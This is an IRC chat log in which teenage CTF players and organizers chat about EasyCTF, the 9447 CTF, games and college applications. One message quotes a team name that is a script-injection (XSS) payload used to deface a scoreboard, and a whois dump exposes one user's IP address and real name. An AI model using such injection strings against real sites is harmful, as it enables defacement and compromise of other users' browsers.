[2014-11-29T19:21:51-0500] <@LittleBobbyTables> @combine lava earth
[2014-11-29T19:21:52-0500] <alchemy> lava and earth don't make anything exciting.
[2014-11-29T19:22:01-0500] <@LittleBobbyTables> @combine lava metal
[2014-11-29T19:22:02-0500] <alchemy> lava and metal don't make anything exciting.
[2014-11-29T19:41:38-0500] <alokpathy> @combien lava aaron
[2014-11-29T19:41:50-0500] <alokpathy> @combine lava aaron
[2014-11-29T19:41:50-0500] <alchemy> lava and aaron don't make anything exciting.
[2014-11-29T19:41:52-0500] <alokpathy> bs
[2014-11-29T19:45:27-0500] <hardmath123> so many people must be stalking failedxyz right now
[2014-11-29T19:45:29-0500] <hardmath123> ...
[2014-11-29T19:51:35-0500] <alokpathy> I wonder how he feels.
[2014-11-29T19:52:57-0500] <@LittleBobbyTables> I already had most of his information :P
[2014-11-29T19:57:43-0500] <alokpathy> @combine snow neanderthal
[2014-11-29T19:57:43-0500] <alchemy> snow and neanderthal don't make anything exciting.
[2014-11-29T19:57:46-0500] <alokpathy> @combine snow tool
[2014-11-29T19:57:46-0500] <alchemy> snow and tool don't make anything exciting.
[2014-11-29T19:57:52-0500] <alokpathy> @combine snow man
[2014-11-29T19:57:53-0500] <alchemy> You already combined snow and man to get snowman.
[2014-11-29T19:58:00-0500] <alokpathy> @combine earth man
[2014-11-29T19:58:01-0500] <alchemy> earth and man don't make anything exciting.
[2014-11-29T19:58:06-0500] <alokpathy> @combine hole rust
[2014-11-29T19:58:06-0500] <alchemy> hole and rust don't make anything exciting.
[2014-11-29T20:02:57-0500] <@LittleBobbyTables> @combine sandstorm lightning
[2014-11-29T20:02:57-0500] <alchemy> sandstorm and lightning don't make anything exciting.
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[2014-11-29T20:13:29-0500] <@awe> alokpathy: It wasn't really that weird.
[2014-11-29T20:14:09-0500] <alokpathy> awe: What wasn't? 
[2014-11-29T20:14:19-0500] <@awe> Getting stalked by thousands of people.
[2014-11-29T20:14:29-0500] <alokpathy> Oh, lol
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[2014-11-29T20:27:43-0500] <JacobEdelman> hardmath123: you doing easyctf?
[2014-11-29T20:28:46-0500] <hardmath123> JacobEdelman: sort of
[2014-11-29T20:28:54-0500] <hardmath123> JacobEdelman: I'm on a team, but probably not going to contribute much.
[2014-11-29T20:29:11-0500] <hardmath123> are you?
[2014-11-29T20:29:43-0500] <alokpathy> hardmath123: We're modding.
[2014-11-29T20:30:36-0500] <hardmath123> oh, fun.
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[2014-11-29T20:58:29-0500] <alokpathy> To an extent
[2014-11-29T20:58:40-0500] <alokpathy> Jacob and I have limited experience with the problems
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[2014-11-30T00:04:41-0500] Set by awe on November 28, 2014 at 8:36:42 PM EST
[2014-11-29T22:08:20-0500] <Tamini_> wait alokpathy
[2014-11-29T22:08:26-0500] <Tamini_> did you guys actually help write problems and such
[2014-11-29T22:39:09-0500] <alokpathy> Tamini_: Uhh Jacob wrote a problem
[2014-11-29T22:39:12-0500] <alokpathy> I'm in the middle of writign on
[2014-11-29T22:39:14-0500] <alokpathy> e
[2014-11-29T22:39:48-0500] <Tamini_> wait youre adding ezctf problems as you go? lol
[2014-11-29T22:39:54-0500] <Tamini_> we solved 9447 <3
[2014-11-29T22:41:10-0500] <alokpathy> All of it?
[2014-11-29T22:41:18-0500] <alokpathy> Tamini_: Sortaish
[2014-11-29T22:41:22-0500] <alokpathy> We don't have a binary exploitation one
[2014-11-29T22:41:26-0500] <alokpathy> so I was thinking of adding one
[2014-11-29T22:41:33-0500] <alokpathy> except where's time?
[2014-11-29T22:42:28-0500] <Tamini_> ohhh lol
[2014-11-29T22:42:34-0500] <Tamini_> and i mean
[2014-11-29T22:42:41-0500] <Tamini_> we solved problems on it
[2014-11-29T22:42:43-0500] <Tamini_> be proud
[2014-11-29T22:43:46-0500] <alokpathy> Nice.
[2014-11-29T22:49:15-0500] <hardmath123> so are all CTFs made from the same framework?
[2014-11-29T22:49:29-0500] <hardmath123> because easy seems suspiciously similar to Pico
[2014-11-29T22:49:39-0500] <hardmath123> like, the graph on the scroeboard, etc.
[2014-11-29T22:50:18-0500] <hardmath123> also, there's a team called ">"><script>document.write("<img src='http://i.imgur.com/IF6j92y.png'/><p>we broke your scoreboard<p>sanitize your inputs");</script>"
[2014-11-29T22:52:24-0500] <@LittleBobbyTables>  	S͐̋T͗͒A̓ͬȞ̓P̉ͬ as well
[2014-11-29T22:52:31-0500] <@LittleBobbyTables> Zygote 
[2014-11-29T22:52:45-0500] <alokpathy> hardmath123: Yeah.
[2014-11-29T22:52:49-0500] <alokpathy> CTF_Platform.
[2014-11-29T22:55:24-0500] <Tamini_> the picoctf interface is pretty nicr
[2014-11-29T22:55:26-0500] <Tamini_> nice*
[2014-11-29T22:55:47-0500] <alokpathy> It was, yeah.
[2014-11-29T22:55:57-0500] <alokpathy> Darn, I would do 9447
[2014-11-29T22:56:02-0500] <alokpathy> but EasyCTF + collegeapps
[2014-11-29T22:56:02-0500] <Tamini_> its really fun
[2014-11-29T22:56:04-0500] <Tamini_> aww
[2014-11-29T22:56:08-0500] <Tamini_> go write up
[2014-11-29T22:56:16-0500] <alokpathy> Will the problems be up after it ends/
[2014-11-29T22:57:09-0500] <Tamini_> probably
[2014-11-29T23:01:55-0500] <hardmath123> grr
[2014-11-29T23:02:00-0500] <hardmath123> can't `touch` on shell server
[2014-11-29T23:02:03-0500] <hardmath123> D:
[2014-11-29T23:04:20-0500] <@LittleBobbyTables> Tamini_: have you done the recon mission yet?
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[2014-11-30T00:05:36-0500] <@awe> finger hardmath123
[2014-11-30T00:05:51-0500] <hardmath123> awe: sup?
[2014-11-30T00:05:59-0500] <@awe> I was fingering you.
[2014-11-30T00:06:09-0500] <hardmath123> in the UNIX command sense, I hope
[2014-11-30T00:06:59-0500] <@awe> Obviously.
[2014-11-30T00:07:35-0500] <Tamini_> LOL
[2014-11-30T00:07:37-0500] <Tamini_> uh
[2014-11-30T00:07:41-0500] <Tamini_> awe i think hes underage
[2014-11-30T00:07:54-0500] <@awe> You're never to underage for me to determine which shell you used!
[2014-11-30T00:08:22-0500] <@awe>  /s/to/too
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[2014-11-30T00:11:29-0500] <Tamini_> LOL
[2014-11-30T00:12:23-0500] <hardmath123> i forgot finger output syntax :(
[2014-11-30T00:12:40-0500] <hardmath123> On since Sat Nov 29 14:44 (PST) on ttys001
[2014-11-30T00:15:38-0500] • hardmath123: afk
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[2014-11-30T00:44:56-0500] <nezorg> finger Pidgey
[2014-11-30T00:56:05-0500] <Tamini_> pls
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[2014-11-30T01:02:15-0500] <@LittleBobbyTables> At least it wasn't finger Tamini
[2014-11-30T01:03:30-0500] <Tamini_> heh
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[2014-11-30T01:22:26-0500] <nezorg> LittleBobbyTables: ( ͡° ͜ʖ ͡°)
[2014-11-30T01:28:18-0500] <@LittleBobbyTables> You'd love it
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[2014-11-30T01:39:55-0500] <hardmath123> alokpathy, the irc channel wants people to be voiced to talk
[2014-11-30T01:40:14-0500] <hardmath123> fwiw
[2014-11-30T01:40:24-0500] <nezorg> LittleBobbyTables: would you know?
[2014-11-30T01:40:51-0500] <@LittleBobbyTables> hardmath123: yeah, that's intentional
[2014-11-30T01:40:55-0500] <@LittleBobbyTables> nezorg: yeah.
[2014-11-30T01:41:51-0500] <hardmath123> LittleBobbyTables: oh. well i meant to ask if "Mildly Evil Guess" was dead, and if so, could someone resuscitate it
[2014-11-30T01:47:51-0500] <hardmath123> LittleBobbyTables: ...never mind. netcat was hating on me. :(
[2014-11-30T01:48:26-0500] <@LittleBobbyTables> My damage is so strong in Rebirth, I walk into a boss room and he's instantly dead...
[2014-11-30T01:49:01-0500] <nezorg> wat
[2014-11-30T01:49:15-0500] <nezorg> I should probably play that and the original at some point
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[2014-11-30T02:51:41-0500] <Tamini_> LittleBobbyTables: yo
[2014-11-30T02:51:52-0500] <@LittleBobbyTables> Tamini_: wut
[2014-11-30T02:51:53-0500] <Tamini_> are you playing BoI
[2014-11-30T02:51:57-0500] <@LittleBobbyTables> maybe
[2014-11-30T02:52:02-0500] <Tamini_> im crying
[2014-11-30T02:52:05-0500] <@LittleBobbyTables> Why
[2014-11-30T02:52:07-0500] <Tamini_> buy me rebirth for birthday pls
[2014-11-30T02:52:13-0500] <Tamini_> i am poor broke high school student
[2014-11-30T02:52:53-0500] <@LittleBobbyTables> Whens your bday
[2014-11-30T02:53:02-0500] <Tamini_> dec 15th
[2014-11-30T02:53:08-0500] <Tamini_> i was only half srs tho LOL
[2014-11-30T02:53:49-0500] <@LittleBobbyTables> It's on sale now
[2014-11-30T02:54:50-0500] <Tamini_> it is?
[2014-11-30T02:54:53-0500] <Tamini_> for how much >.<
[2014-11-30T02:55:02-0500] <Tamini_> i have like 6 bucks on steam rn its kinda a problem
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[2014-11-30T17:14:40-0500] <benwaffle> i should be sending college apps
[2014-11-30T17:14:44-0500] <benwaffle> but easyctf is too good
[2014-11-30T17:17:15-0500] <Tam> lol
[2014-11-30T17:17:18-0500] <Tam> isnt uc due like today
[2014-11-30T17:18:52-0500] <Tam> LittleBobbyTables: wanna tell michael he's uh doing it wrong
[2014-11-30T17:19:14-0500] <@LittleBobbyTables> He accidently +everything's
[2014-11-30T17:19:16-0500] <@LittleBobbyTables> And we can't -r now
[2014-11-30T17:20:38-0500] <Tam> riiiiiiiiiiiiiiiip
[2014-11-30T17:20:42-0500] <Tam> tell him to get on here
[2014-11-30T17:21:39-0500] <@LittleBobbyTables> Tam it works now
[2014-11-30T17:21:41-0500] <@LittleBobbyTables> I fixed it
[2014-11-30T17:21:45-0500] <alokpathy> Tq lbt
[2014-11-30T17:26:50-0500] <Tam> well that channel i
[2014-11-30T17:26:50-0500] <Tam> s
[2014-11-30T17:26:53-0500] <Tam> sufficiently spammy
[2014-11-30T17:55:32-0500] <Hcnsh> it's not my ip
[2014-11-30T17:55:33-0500] <Hcnsh> don't bother
[2014-11-30T17:55:42-0500] <@LittleBobbyTables> lol
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[2014-11-30T20:50:08-0500] <nezorg> so apparently I can generate an ed25519 gpg key now
[2014-11-30T20:50:18-0500] <nezorg> then add a curve25519 encryption key later
[2014-11-30T20:50:21-0500] <nezorg> so I might do that
[2014-11-30T20:52:01-0500] <Tam> ooh, yay
[2014-11-30T20:52:02-0500] <Tam> lol
[2014-11-30T20:52:10-0500] <Tam> your paranoia reaches unknown levels :P
[2014-11-30T21:26:33-0500] <benwaffle> how paranoid are you
[2014-11-30T21:32:47-0500] <@awe> benwaffle: 11/10 paranoid
[2014-11-30T21:33:04-0500] <benwaffle> like what
[2014-11-30T22:49:29-0500] <nezorg> Tam: I'm not entirely sure what good would come from doing that would be, though, so I don't think I'll do it until they add support for curve25519 encryption
[2014-11-30T22:49:50-0500] <Tam> lol, yeah
[2014-11-30T22:49:55-0500] <Tam> you're right 
[2014-11-30T22:49:58-0500] <@LittleBobbyTables> pst
[2014-11-30T22:50:00-0500] <@LittleBobbyTables> tam
[2014-11-30T22:50:01-0500] <nezorg> I guess I could sign things
[2014-11-30T22:50:12-0500] <Tam> but now I have to waaaait to get hipster encrypted messages from you
[2014-11-30T22:50:16-0500] <nezorg> but I'd need to redistribute my key once I added by encryption subkey
[2014-11-30T22:50:17-0500] <Tam> LittleBobbyTables: psst jacob
[2014-11-30T22:50:24-0500] <nezorg> s/by/my/
[2014-11-30T22:50:31-0500] <@LittleBobbyTables> go to ezctf :P
[2014-11-30T22:51:06-0500] <nezorg> awww, my not having participated for about a day has put my rank very low :'(
[2014-11-30T22:51:12-0500] <Tam> what about it?
[2014-11-30T22:51:15-0500] <Tam> and nezorg: yeaaah :(
[2014-11-30T22:51:27-0500] <Tam> i was the only one that solved problems here because ezctf
[2014-11-30T22:51:30-0500] <Tam> 9447*
[2014-11-30T22:51:55-0500] <Tam> LittleBobbyTables: what exactly am i looking at?
[2014-11-30T22:52:05-0500] <@LittleBobbyTables> My bot? :P
[2014-11-30T22:52:18-0500] <@LittleBobbyTables> I have the wrong version up, so bear with me.
[2014-11-30T22:52:21-0500] <Tam> oh you want me to go on
[2014-11-30T22:52:23-0500] <Tam> #easyctf
[2014-11-30T22:52:25-0500] <Tam> okay that's different
[2014-11-30T22:52:27-0500] <@LittleBobbyTables> yeah lol
[2014-11-30T22:52:31-0500] <@LittleBobbyTables> Too much typing
[2014-11-30T22:52:33-0500] <Tam> nah i got work to do
[2014-11-30T22:52:35-0500] <Tam> working for cookies
[2014-11-30T23:14:10-0500] <bob_twinkles> LittleBobbyTables: pls windows binaries
[2014-11-30T23:14:21-0500] <@LittleBobbyTables> wut
[2014-11-30T23:14:23-0500] <@LittleBobbyTables> For my bot?
[2014-11-30T23:14:29-0500] <bob_twinkles> no
[2014-11-30T23:14:31-0500] <bob_twinkles> ezctf
[2014-11-30T23:14:34-0500] <@LittleBobbyTables> oh
[2014-11-30T23:14:38-0500] <@LittleBobbyTables> I'm not in control of that
[2014-11-30T23:14:41-0500] <bob_twinkles> oh
[2014-11-30T23:14:46-0500] <bob_twinkles> who do I yell at for that then
[2014-11-30T23:14:53-0500] <Tam> michael zhang
[2014-11-30T23:14:54-0500] <@LittleBobbyTables> failedxyz
[2014-11-30T23:14:59-0500] <Tam> LittleBobbyTables: why is he not in here.
[2014-11-30T23:15:05-0500] <@LittleBobbyTables> He's playing osu.
[2014-11-30T23:20:57-0500] <@awe> lol @ osu
[2014-11-30T23:21:04-0500] <Tam> lol wait
[2014-11-30T23:21:07-0500] <Tam> he ditched me to play osu
[2014-11-30T23:21:08-0500] <Tam> 3 hours ago
[2014-11-30T23:21:11-0500] <Tam> he's still playing?
[2014-11-30T23:21:13-0500] <@awe> >running a CTF
[2014-11-30T23:21:22-0500] <@awe> >playing osu instead of helping
[2014-11-30T23:21:29-0500] <@LittleBobbyTables> He left his house awhile ago
[2014-11-30T23:21:36-0500] <@LittleBobbyTables> Was on his phone for awhile
[2014-11-30T23:21:45-0500] <@LittleBobbyTables> He got back like 10 minutes ago and then went to play osu
[2014-11-30T23:21:52-0500] <Tam> ah ok
[2014-11-30T23:21:58-0500] <Tam> get him over here
[2014-11-30T23:22:05-0500] <Tam> i need sufficient room to harrass him about failedxyz
[2014-11-30T23:22:08-0500] <Tam> i found 2/n
[2014-11-30T23:22:14-0500] <Tam> i would at least like to know what n is
[2014-11-30T23:23:08-0500] <@LittleBobbyTables> Well I got 2*impossible
[2014-11-30T23:23:16-0500] <@LittleBobbyTables> Which is apparently 1/3 of the way through one problem
[2014-11-30T23:23:16-0500] <@LittleBobbyTables> :/
[2014-11-30T23:23:23-0500] <@LittleBobbyTables> err, through one part of it
[2014-11-30T23:23:37-0500] <@LittleBobbyTables> 12:59 AM <cptnXn> 2*impossible, now I'm too lazy to search more...
[2014-11-30T23:23:37-0500] <@LittleBobbyTables> 12:59 AM <failedxyz> lol
[2014-11-30T23:23:37-0500] <@LittleBobbyTables> 12:59 AM <failedxyz> well
[2014-11-30T23:23:37-0500] <@LittleBobbyTables> 12:59 AM <failedxyz> you're about 1/3 done
[2014-11-30T23:23:37-0500] <@LittleBobbyTables> 12:59 AM <failedxyz> with one of the parts
[2014-11-30T23:24:31-0500] <alokpathy> I would say something right now but I don't think I'm allowed to
[2014-11-30T23:24:34-0500] <alokpathy> I'll say it to myself
[2014-11-30T23:25:09-0500] <@LittleBobbyTables> Say it anyway
[2014-11-30T23:25:14-0500] <@LittleBobbyTables> I don't think any of us care enough :P
[2014-11-30T23:25:42-0500] <alokpathy> I'll say it after the competition is over :P
[2014-11-30T23:26:17-0500] <@LittleBobbyTables> pls
[2014-11-30T23:26:18-0500] <Tam> i dont think
[2014-11-30T23:26:19-0500] <Tam> any of us can
[2014-11-30T23:26:21-0500] <Tam> compete legally
[2014-11-30T23:26:22-0500] <Tam> LOL
[2014-11-30T23:26:25-0500] <@LittleBobbyTables> ^
[2014-11-30T23:26:26-0500] <Tam> tbch
[2014-11-30T23:26:28-0500] <@LittleBobbyTables> Why can't you? O.o
[2014-11-30T23:26:36-0500] <Tam> i keep seeing problems and thinking
[2014-11-30T23:26:41-0500] <Tam> "hey, i gave him this idea!"
[2014-11-30T23:26:43-0500] <@awe> To be honest, I think we're all too biased at this point for any of us to be allowed to compete in any of each other's competitions.
[2014-11-30T23:26:52-0500] <Tam> well i mean
[2014-11-30T23:26:55-0500] <Tam> yeah, probably
[2014-11-30T23:26:58-0500] <@LittleBobbyTables> lol
[2014-11-30T23:27:01-0500] <Tam> but as long as you dont contribute to problems
[2014-11-30T23:27:07-0500] <Tam> you shouldnt have a problem
[2014-11-30T23:27:08-0500] <@LittleBobbyTables> I'm just interested in how these work to be honest.
[2014-11-30T23:27:13-0500] <Tam> i debatably contributed to problems :P
[2014-11-30T23:27:29-0500] <@LittleBobbyTables> If it's an actual CTF (9447, plaidctf, etc.) then I'd understand not sharing things.
[2014-11-30T23:27:38-0500] <@LittleBobbyTables> I just wanna learn as much as I can as fast as I can :p
[2014-11-30T23:27:51-0500] <Tam> oh oh oh
[2014-11-30T23:27:52-0500] <Tam> guys
[2014-11-30T23:27:57-0500] <Tam> we got 7th in the US in 9447
[2014-11-30T23:27:58-0500] <Tam> <3
[2014-11-30T23:28:02-0500] <@LittleBobbyTables> Nice!
[2014-11-30T23:28:08-0500] <Tam> i actually like
[2014-11-30T23:28:18-0500] <Tam> significantly contributed to a problem this time :P
[2014-11-30T23:28:23-0500] <@LittleBobbyTables> where was 2/n
[2014-11-30T23:28:28-0500] <@LittleBobbyTables> If you wanna say
[2014-11-30T23:28:33-0500] <Tam> i meant n like
[2014-11-30T23:28:41-0500] <Tam> i have no freaking clue where all the other stuff is
[2014-11-30T23:28:47-0500] <@LittleBobbyTables> lol
[2014-11-30T23:28:56-0500] <@LittleBobbyTables> I have a string literally "2*impossible"
[2014-11-30T23:29:04-0500] <@LittleBobbyTables> No idea what to do with the rest :/
[2014-11-30T23:31:18-0500] <alokpathy> Tam: onice
[2014-11-30T23:31:25-0500] <alokpathy> LittleBobbyTables: I mean, what I was going to say wouldn't help you solve it.
[2014-11-30T23:31:30-0500] <Tam> then say it anyway
[2014-11-30T23:31:31-0500] <Tam> :P
[2014-11-30T23:31:43-0500] <alokpathy> LittleBobbyTables: Good freaking luck on that part LOL
[2014-11-30T23:31:54-0500] <@LittleBobbyTables> Thanks, apothy.
[2014-11-30T23:32:03-0500] <@LittleBobbyTables> Like I said, 1/3rd of the way through one part of it.
[2014-11-30T23:32:06-0500] <@LittleBobbyTables> Totally not worth doing the rest.
[2014-11-30T23:32:10-0500] <alokpathy> failedxyz told me the solution
[2014-11-30T23:32:12-0500] <alokpathy> and I was like
[2014-11-30T23:32:14-0500] <alokpathy> nobody's going to get this
[2014-11-30T23:32:32-0500] <@LittleBobbyTables> Can you say how many different pieces there are?
[2014-11-30T23:32:43-0500] <@LittleBobbyTables> Like for yangwy(?), there was just one part
[2014-11-30T23:32:43-0500] <Tam> hey, better
[2014-11-30T23:32:48-0500] <Tam> apothy wanna join my team? <3
[2014-11-30T23:32:51-0500] <@LittleBobbyTables> lmao
[2014-11-30T23:32:58-0500] <@awe> alokpathy: >easyctf
[2014-11-30T23:33:02-0500] <@awe> alokpathy: >nobody's going to get this
[2014-11-30T23:33:07-0500] <@awe> alokpathy: ishygddt
[2014-11-30T23:33:14-0500] <alokpathy> LittleBobbyTables: 3? failedxyz said 1/3.
[2014-11-30T23:33:23-0500] <alokpathy> awe: It's the hardest problem.
[2014-11-30T23:33:26-0500] <@LittleBobbyTables> 1/3rd of the way through one part
[2014-11-30T23:33:30-0500] <alokpathy> All the other problems are easy
[2014-11-30T23:33:34-0500] <alokpathy> this one is just like
[2014-11-30T23:33:35-0500] <alokpathy> wat
[2014-11-30T23:33:35-0500] <@LittleBobbyTables> makes me think there's more
[2014-11-30T23:33:47-0500] <alokpathy> Tam: Yeah sure.
[2014-11-30T23:34:00-0500] <alokpathy> LittleBobbyTables: There might? I don't remember.
[2014-11-30T23:34:05-0500] <@awe> alokpathy: still?
[2014-11-30T23:34:27-0500] <alokpathy> awe: It was there so nobody would finish in a day, basically.
[2014-11-30T23:34:33-0500] <alokpathy> put there*
[2014-11-30T23:35:04-0500] <@LittleBobbyTables> Nobody finished everything but that anyway.
[2014-11-30T23:35:15-0500] <@awe> Okay.
[2014-11-30T23:35:44-0500] <Tam> in our defense
[2014-11-30T23:35:48-0500] <Tam> we were playing 9447
[2014-11-30T23:36:09-0500] <alokpathy> Tam: You were more committed to 9447 than ezctf? 
[2014-11-30T23:36:17-0500] <alokpathy> I'm afraid we're going to have to take you off the scoreboard.
[2014-11-30T23:36:29-0500] <@awe> Lol.
[2014-11-30T23:38:49-0500] <Tam> alokpathy: don't you dare.
[2014-11-30T23:39:14-0500] <alokpathy> [takes HSS off the scoreboard]
[2014-11-30T23:39:18-0500] <@LittleBobbyTables> I dare you.
[2014-11-30T23:40:17-0500] <Tam> hss?
[2014-11-30T23:40:44-0500] <alokpathy> High School South :P
[2014-11-30T23:41:35-0500] <Tam> oh lol
[2014-11-30T23:41:46-0500] <@awe> lol'd.
[2014-11-30T23:41:51-0500] <@awe> Definitely should DQ Tam.
[2014-11-30T23:41:56-0500] <@awe> I bet she's cheating.
[2014-11-30T23:42:25-0500] <@LittleBobbyTables> She is
[2014-11-30T23:42:31-0500] <@LittleBobbyTables> She tried asking me for answers
[2014-11-30T23:42:35-0500] <@awe> She asked me, too.
[2014-11-30T23:42:40-0500] <alokpathy> Dammi Tam
[2014-11-30T23:42:42-0500] <@LittleBobbyTables> She asked me in this room
[2014-11-30T23:43:00-0500] <@awe> [23:15:00]  <Tam>	what's the answer to ezctf?
[2014-11-30T23:43:02-0500] <@LittleBobbyTables> 4:21 AM <Tam> i need sufficient room to harrass him about failedxyz
[2014-11-30T23:43:02-0500] <@LittleBobbyTables> 4:22 AM <Tam> i found 2/n
[2014-11-30T23:43:02-0500] <@LittleBobbyTables> 4:22 AM <Tam> i would at least like to know what n is
[2014-11-30T23:43:41-0500] <Tam> lolol
[2014-11-30T23:44:53-0500] <@LittleBobbyTables> 4:44 AM <cptnXn> failedxyz: You should disqualify Shark Fins, they're 100% cheating in other IRC's, ask apothy, he's in there with it.
[2014-11-30T23:44:53-0500] <@LittleBobbyTables> 4:44 AM ⇐ •failedxyz quit (failedxyz@F4C7A360.2394FDCB.26C9456E.IP) Quit: http://www.kiwiirc.com/ - A hand crafted IRC client
[2014-11-30T23:45:38-0500] <@awe> lol'd.
[2014-11-30T23:45:47-0500] <@awe> Perfect, LittleBobbyTables.
[2014-11-30T23:46:06-0500] <@LittleBobbyTables> I would laugh so hard
[2014-11-30T23:46:08-0500] <@LittleBobbyTables> if it happens
[2014-11-30T23:46:14-0500] <@LittleBobbyTables> I'd feel a little bad
[2014-11-30T23:46:20-0500] <@LittleBobbyTables> And might think about telling him to fix it
[2014-11-30T23:46:23-0500] <@LittleBobbyTables> But it would totally be worth
[2014-11-30T23:48:33-0500] <@awe> Definitely worth.
[2014-11-30T23:51:36-0500] <Tam> LOL
[2014-11-30T23:51:40-0500] <Tam> i would laugh because
[2014-11-30T23:51:43-0500] <Tam> we would just remake
[2014-11-30T23:51:49-0500] <Tam> i just did problems for an afternoon
[2014-11-30T23:51:57-0500] <@awe> I'd report you for cheating again.
[2014-11-30T23:52:36-0500] <Tam> i wouldn't tell you what team I was on
[2014-11-30T23:52:39-0500] <alokpathy> Tam: We'd ban your IP
[2014-11-30T23:52:53-0500] <@awe> VPN, obvs.
[2014-11-30T23:52:56-0500] <@awe> Like LittleBobbyTables and I.
[2014-11-30T23:53:05-0500] <Tam> ^
[2014-11-30T23:53:06-0500] <@awe> Secretly, I'm about a quarter of the easyctf teams.
[2014-11-30T23:53:09-0500] <Tam> :P
[2014-11-30T23:53:13-0500] <alokpathy> Oh dear
[2014-11-30T23:53:39-0500] <alokpathy> Tam: We'd use our 1337 recon skillz to find what team you're on.
[2014-11-30T23:54:23-0500] <alokpathy> lol what if we had a recon that involved social engineering
[2014-11-30T23:54:32-0500] <Tam> we would all win
[2014-11-30T23:54:35-0500] <Tam> because michael is weeeeeeeeeak
[2014-11-30T23:54:50-0500] <alokpathy> I meant for hsctf but okay xD
[2014-11-30T23:54:58-0500] <@awe> Tam: I'm not weak.
[2014-11-30T23:55:17-0500] <@awe> Tam: I would probably make half of the contestants who talked to me either weep deeply or just quit the competition in its entirety. :D
[2014-11-30T23:56:30-0500] <Tam> LOL
[2014-11-30T23:56:34-0500] <Tam> even me, awe?
[2014-11-30T23:56:36-0500] <Tam> :(
[2014-11-30T23:56:42-0500] <Tam> but I thought what we had was special.
[2014-11-30T23:58:00-0500] <@awe> I said half. ;)
[2014-11-30T23:58:36-0500] <Tam> :P
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[2014-12-01T00:06:21-0500] <@LittleBobbyTables> Tamini was just half the CTF contestants. There was me, the rest of the teams were awe.
[2014-12-01T00:06:51-0500] <@awe> Obviously.
[2014-12-01T00:17:20-0500] <@LittleBobbyTables> No but for real, tam, wtf are you talking about 2/n? If yours is different, then we have two of the parts.
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[2014-12-01T00:28:38-0500] <@LittleBobbyTables> wait
[2014-12-01T00:28:43-0500] <@LittleBobbyTables> nezorg, you're making a CTF?
[2014-12-01T00:28:54-0500] <Tam> he was, apparently
[2014-12-01T00:29:00-0500] <@LittleBobbyTables> was
[2014-12-01T00:29:01-0500] <Tam> i would have sooo loved to play that
[2014-12-01T00:29:03-0500] <@LittleBobbyTables> but idk if he still is
[2014-12-01T00:29:05-0500] <Tam> he better.
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[2014-12-01T00:39:39-0500] <alokpathy> G'night guys
[2014-12-01T00:39:44-0500] • alokpathy: heads off to bed
[2014-12-01T00:40:21-0500] <Tam> night alokpathy~
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[2014-12-01T00:51:00-0500] <@awe> Hm, I'm somewhat tired.
[2014-12-01T00:51:26-0500] <Tam> sleep, awe.
[2014-12-01T00:51:31-0500] <Tam> so you can have a awe-some day tomorrow
[2014-12-01T00:51:32-0500] <Tam> :P
[2014-12-01T00:51:35-0500] <@awe> But I can also keep playing NBA 2k15.
[2014-12-01T00:52:19-0500] <@LittleBobbyTables> Tam
[2014-12-01T00:52:21-0500] <@LittleBobbyTables> That was so bad
[2014-12-01T00:53:34-0500] <Tam> shut up LittleBobbyTables 
[2014-12-01T00:53:39-0500] <Tam> i'm amazing
[2014-12-01T00:53:45-0500] <@LittleBobbyTables> no
[2014-12-01T00:54:53-0500] <Tam> yes
[2014-12-01T00:54:57-0500] <@LittleBobbyTables> no
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[2014-12-01T01:06:41-0500] <@awe> LittleBobbyTables: I think you broke her.
[2014-12-01T01:06:56-0500] <@LittleBobbyTables> :/
[2014-12-01T01:06:59-0500] <@LittleBobbyTables> That'd suc
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[2014-12-01T01:27:09-0500] <nezorg> are people actually still awake
[2014-12-01T01:27:11-0500] <@awe> I am.
[2014-12-01T01:28:42-0500] <@LittleBobbyTables> nezorg
[2014-12-01T01:28:43-0500] <@LittleBobbyTables> Are you still making a ctf
[2014-12-01T01:28:54-0500] <nezorg> maybe
[2014-12-01T01:29:40-0500] <@LittleBobbyTables> Yes or no pls
[2014-12-01T01:30:15-0500] <nezorg> maybe
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[2014-12-01T08:30:26-0500] <JacobEdelman> alokpathy: I need oping on the easyctf irc
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[2014-12-01T08:30:46-0500] <+JacobEdelman> alokpathy: I need oping on the easyctf irc
[2014-12-01T08:30:57-0500] <+JacobEdelman> (I just registered so you won't need to do it again)
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[2014-12-01T09:30:20-0500] <+JacobEdelman> who is DidThatWork?
[2014-12-01T09:30:32-0500] <DidThatWork> That's a good question
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[2014-12-01T12:47:50-0500] <Hyper> JacobEdelman: boop
[2014-12-01T13:04:51-0500] <+JacobEdelman> hello
[2014-12-01T13:05:23-0500] <+JacobEdelman> (the channel is quiet now, a lot of the people who are normally on it are on the easyctf irc, and a lot are also in school)
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[2014-12-01T13:52:22-0500] Set by awe on November 28, 2014 at 8:36:42 PM EST
[2014-12-01T13:49:10-0500] <Hyper_> my ZNC server isn't admin'd by me and is running .206 so I can't have more than 1 server connected at once q.q
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[2014-12-01T15:56:12-0500] Set by awe on November 28, 2014 at 8:36:42 PM EST
[2014-12-01T14:57:09-0500] <+JacobEdelman> ....
[2014-12-01T15:56:12-0500] Mode is +nt
[2014-12-01T15:56:57-0500] <@awe> hi Hyper 
[2014-12-01T15:57:05-0500] <@awe> Nice to meet you.
[2014-12-01T15:57:11-0500] Hyper has userhost Hyper@pdgn-h03.fdu.340aee.IP and real name "Josh"
[2014-12-01T15:57:11-0500] Hyper is connecting from Hyper@wnr2000v5.poly.edu 128.238.155.79
[2014-12-01T15:57:11-0500] Hyper is on #pdgn 
[2014-12-01T15:57:11-0500] Hyper is connected on irc.pdgn.co (Pidgeon Company)
[2014-12-01T15:57:11-0500] Hyper is using modes +x
[2014-12-01T15:57:11-0500] Hyper is using a secure connection
[2014-12-01T15:57:11-0500] Hyper signed on at December 1, 2014 at 3:05:52 PM EST and has been idle for 51 minutes, 20 seconds
[2014-12-01T15:57:15-0500] <Hyper> and you
[2014-12-01T15:57:29-0500] <@awe> I'm Aaron.
[2014-12-01T15:57:39-0500] <@awe> Your ZNC server is hosted by NYU Poly.
[2014-12-01T15:57:40-0500] <@awe> Interesting.
[2014-12-01T15:58:15-0500] <Hyper> no
[2014-12-01T15:58:18-0500] <Hyper> my internet is
[2014-12-01T15:58:21-0500] <Hyper> given that I go there
[2014-12-01T15:58:22-0500] <Hyper> xP
[2014-12-01T15:58:34-0500] <Hyper> I'm not connecting through my znc server
[2014-12-01T15:58:46-0500] <Hyper> because no multiserver without creating another user on .206
[2014-12-01T15:59:29-0500] <@awe> Oh, okay.
[2014-12-01T15:59:34-0500] <@awe> Cool.
[2014-12-01T15:59:36-0500] <@awe> How do you like it there?
[2014-12-01T16:00:27-0500] <@awe> Also, did they move CS from CAS to Poly or do they offer both?
[2014-12-01T16:00:31-0500] <Hyper> it's pretty good
